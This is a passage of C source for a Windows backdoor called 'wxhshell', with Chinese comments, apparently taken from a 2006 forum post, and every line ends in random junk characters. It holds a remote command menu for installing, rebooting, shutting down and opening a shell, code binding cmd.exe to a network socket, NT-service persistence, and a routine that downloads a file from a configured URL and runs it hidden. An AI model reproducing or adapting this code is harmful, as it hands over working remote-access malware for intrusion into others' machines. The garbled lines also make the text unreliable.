  B5 H=#  
  // 帮助 :`20i*  
  case '?': { BF+i82$zo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8c0ugM  
    break; [Cf{2WB:7  
  } ck K9@RQ  
  // 安装 XCQPVSh  
  case 'i': { l6k.`1.In  
    if(Install()) N2e]S8-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `*HM5 1U  
    else (`FY{]Wz!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); - {|  
    break; &Y|AX2KUC  
    } /F7X"_(H  
  // 卸载 vFg X]&bE  
  case 'r': { '"fZGz?  
    if(Uninstall()) D}A>`6W<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rwvCp_pN.  
    else >'|Wrz67Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nkg^;-CV0  
    break; 25/OV"Z  
    } ?emYLw  
  // 显示 wxhshell 所在路径 Y5$VWUrB  
  case 'p': {  H= (Zx  
    char svExeFile[MAX_PATH]; |FH|l#bu>  
    strcpy(svExeFile,"\n\r"); 2;&!]2vo$  
      strcat(svExeFile,ExeFile); FG6mh,C!  
        send(wsh,svExeFile,strlen(svExeFile),0); ipn 0WQG  
    break; #x[3@zP.  
    } h$rk]UM/Q  
  // 重启 w@&(=C  
  case 'b': { AG(Gtvw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wl:[Ad  
    if(Boot(REBOOT)) 1h#UM6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MgUjB~)Y  
    else { "?#O*x  
    closesocket(wsh); Q9NKQuSu  
    ExitThread(0); 1QJB4|5R#  
    } @86?!0bt  
    break; QPJz~;V2  
    } cSWn4-B@l  
  // 关机 qhqqCVrsW  
  case 'd': { l F*x\AT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D!nx%%q  
    if(Boot(SHUTDOWN)) h;S?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kuy0Ci  
    else { P* .0kR1n  
    closesocket(wsh); 56T{JTo  
    ExitThread(0); 2L|)uCb  
    } mv\S1[<T  
    break; 9  7Mi{Zz  
    } 1JWo~E'  
  // 获取shell 9 `z^'k&  
  case 's': { & 24$*Oe  
    CmdShell(wsh);  D/]  
    closesocket(wsh); )ME'qA3K  
    ExitThread(0); 2!;U.+(  
    break; "E}38  
  } l"app]uVZ  
  // 退出 SQJ }$#=  
  case 'x': { U<jAZU[L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gf y9?sa  
    CloseIt(wsh); c},wW@SF2W  
    break; 6 P U]I+  
    } ^F4h:  
  // 离开 bA8RoC  
  case 'q': { JPGEE1!B{b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1_0\_|  
    closesocket(wsh); d+Au`'{>  
    WSACleanup(); rugR>&mea  
    exit(1); Fv T;8ik:3  
    break; &NB"[Mm:@  
        } \+Pk"M  
  } n>aH7  
  } 68, (+vkB  
gO,2:,  
  // 提示信息 /XZ\Yy=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xw |6 #^  
} L+J)  
  } cOo@UU P   
kcyT#'=j  
  return; _rjB.  
} To@77.'  
)R@M~d-o  
// shell模块句柄 *Ph@XkhU  
int CmdShell(SOCKET sock) :]+p#l  
{ _ !H8j/b  
STARTUPINFO si; M&~cU{9c  
ZeroMemory(&si,sizeof(si)); !(>yB;u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .Mu]uQUF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F=l.2t*9  
PROCESS_INFORMATION ProcessInfo; Xl\yOMfp  
char cmdline[]="cmd"; 6 ~d\+aV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1./iF>*A  
  return 0; 0V5{:mzA  
} S1D;Xv@  
'e5,%"5(c  
// 自身启动模式 Fb&WwGY,P  
int StartFromService(void) m?_@.O@]  
{ A ^U`c'$  
typedef struct 1G62Qu$O  
{ 4oywP^I  
  DWORD ExitStatus; t o2y#4'.  
  DWORD PebBaseAddress; q;#:nf"  
  DWORD AffinityMask; %;qDhAu0  
  DWORD BasePriority; f$p7L.d<  
  ULONG UniqueProcessId; T$r?LIa ,Q  
  ULONG InheritedFromUniqueProcessId; qbu5aK}+  
}   PROCESS_BASIC_INFORMATION; `R{ ZED l'  
7$j O3J  
PROCNTQSIP NtQueryInformationProcess; RuuXDuu:VL  
Zg~6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #;~dA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &RbT&  
'Bb@K[=s  
  HANDLE             hProcess; /woC{J)4p  
  PROCESS_BASIC_INFORMATION pbi; <N}*|z7=b  
to"[r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a-Ef$(i_  
  if(NULL == hInst ) return 0; z}f;_NX  
\r7gubD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ``* !b >)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -e(,>9Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6> Ca O  
4,P!D3SH  
  if (!NtQueryInformationProcess) return 0; StWF66u34&  
6kM'f}t[C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;gmfWHB<  
  if(!hProcess) return 0; Y%A KN  
g"o),$tm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?2$0aq  
 Im8c  
  CloseHandle(hProcess); KuohUH+  
.,7ZD O9{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tpP2dg9dF  
if(hProcess==NULL) return 0; [V_?`M  
JHIXTy__  
HMODULE hMod; 3PU'd^  
char procName[255]; 'p:L"L}Q?  
unsigned long cbNeeded; aq<QKn U  
hDc)\vzr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [tY+P7j9)  
GYM6 `  
  CloseHandle(hProcess); >h<bYk"9Q  
Isna KcLM  
if(strstr(procName,"services")) return 1; // 以服务启动 z3>oUq{  
%zA$+eT  
  return 0; // 注册表启动 _mSQ>BBRl  
} # 5C)k5  
Yiy|^j  
// 主模块 sg!* %*XQ  
int StartWxhshell(LPSTR lpCmdLine) LJII7<k  
{ |`i.8  
  SOCKET wsl; :U$U:e  
BOOL val=TRUE; wM#BQe3t#  
  int port=0; X=d;WT4,,  
  struct sockaddr_in door; <<:a >)6\  
#ZS8}X*S  
  if(wscfg.ws_autoins) Install(); TSCc=c  
*Ul L\  
port=atoi(lpCmdLine); VG+WVk  
>W[#-jA_Z  
if(port<=0) port=wscfg.ws_port; sB>ZN3ptH^  
YMEI J}  
  WSADATA data; ?g~g GQV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z6XP..  
^&-H"jF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZFsJeF'"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A7X-),D  
  door.sin_family = AF_INET; |~I-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WJN}d-S=^  
  door.sin_port = htons(port); , BCo/j  
+m8gS;'R4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U& < Nhh  
closesocket(wsl); >4lT0~V/  
return 1; "TgE@bC  
} |+0XO?,sZ  
F&I ;E i  
  if(listen(wsl,2) == INVALID_SOCKET) { .0zNt  
closesocket(wsl); "p{cz(  
return 1; _hb@O2f  
} ;uazQyo6  
  Wxhshell(wsl); YN@ 4.&RP  
  WSACleanup(); %95'oW)lo  
U'tfsf/V  
return 0; 0 w#[?.  
30Z RKrW"~  
} 8Qg,UX  
A+Xk=k5<  
// 以NT服务方式启动 #=hI}%n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @]0;aZ{3  
{ B "z`X!\  
DWORD   status = 0; T]fu[yRVvg  
  DWORD   specificError = 0xfffffff; Cp@' k;(  
?]# U~M<'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )KLsa`RV:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %4Thb\T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bqt*d)$  
  serviceStatus.dwWin32ExitCode     = 0; tsA+B&R_]  
  serviceStatus.dwServiceSpecificExitCode = 0; VYZkHjj)2i  
  serviceStatus.dwCheckPoint       = 0; :z!N_]t  
  serviceStatus.dwWaitHint       = 0; 4,|A\dXE  
Evn=3Tw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :uD*Q/  
  if (hServiceStatusHandle==0) return; #*<*|AwoW|  
]E+deM  
status = GetLastError(); >_4Ck{^d#  
  if (status!=NO_ERROR) ?T(>!m  
{ z$>_c "D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZE*m;  
    serviceStatus.dwCheckPoint       = 0; PmGW\E[ni  
    serviceStatus.dwWaitHint       = 0; hF!t{ Lf3  
    serviceStatus.dwWin32ExitCode     = status; !P&F6ViO=  
    serviceStatus.dwServiceSpecificExitCode = specificError; !)(c_ uz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s2{d<0x?v  
    return; '$3]U5KOwK  
  } exqFwmhh  
{5=Iu\e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YYz,sR'%|}  
  serviceStatus.dwCheckPoint       = 0; w< hw>e^.  
  serviceStatus.dwWaitHint       = 0; KKd S h1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Qw{LD+r(  
} bnz2\C9^  
7X$[E*kd  
// 处理NT服务事件,比如:启动、停止 E-\<,=bh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oT4A|M  
{ fq.ui3lP)  
switch(fdwControl) ]i-peBxw  
{ `;ofQz4  
case SERVICE_CONTROL_STOP: p. eq N  
  serviceStatus.dwWin32ExitCode = 0; GN4'LU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3f2%+2Zjt,  
  serviceStatus.dwCheckPoint   = 0; N;9m&)@JR'  
  serviceStatus.dwWaitHint     = 0; #-_';Er\  
  { ) /kf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ' {L5 3cH=  
  } G $TLWfm  
  return; cu4&*{  
case SERVICE_CONTROL_PAUSE: mZ^z%+Ca|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \G?GX  
  break; !TH3oLd"  
case SERVICE_CONTROL_CONTINUE: +P?!yH,n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >[=fbL@N<@  
  break; gNdEPaaFI  
case SERVICE_CONTROL_INTERROGATE: 2FxrMCC  
  break; UJXRL   
}; p9;Oe,Il  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =rA"|=  
} G6C#M-S  
@O/Jy2>3H  
// 标准应用程序主函数 5U&b")3IT!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oh k.;  
{ i(^&ZmG  
kCXQHX  
// 获取操作系统版本 I+,~pmn:  
OsIsNt=GetOsVer(); <n4T*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S`oADy  
=l_B58wrx  
  // 从命令行安装 z+K-aj w  
  if(strpbrk(lpCmdLine,"iI")) Install(); iNX%Zk[  
wo($7'.@  
  // 下载执行文件 N02X*NC  
if(wscfg.ws_downexe) { hjVct r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GJ:65)KU  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^tS{a*Yn  
} Z*EK56.b  
VQ5D?^'0/  
if(!OsIsNt) { >+iJ(jqq  
// 如果时win9x,隐藏进程并且设置为注册表启动 *;Q IAd  
HideProc(); b ^wL{q  
StartWxhshell(lpCmdLine); &_-,Nxsf  
} Y40`~  
else &@tD/Jw3  
  if(StartFromService()) :a M ZJm  
  // 以服务方式启动 *f%uc  
  StartServiceCtrlDispatcher(DispatchTable); si:p98[w  
else UEZnd8  
  // 普通方式启动 p5|.E  
  StartWxhshell(lpCmdLine); uD=i-IHT  
(yjx+K_[  
return 0; &b[ .bf  
}
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只看该作者 1 发表于: 2006-10-10
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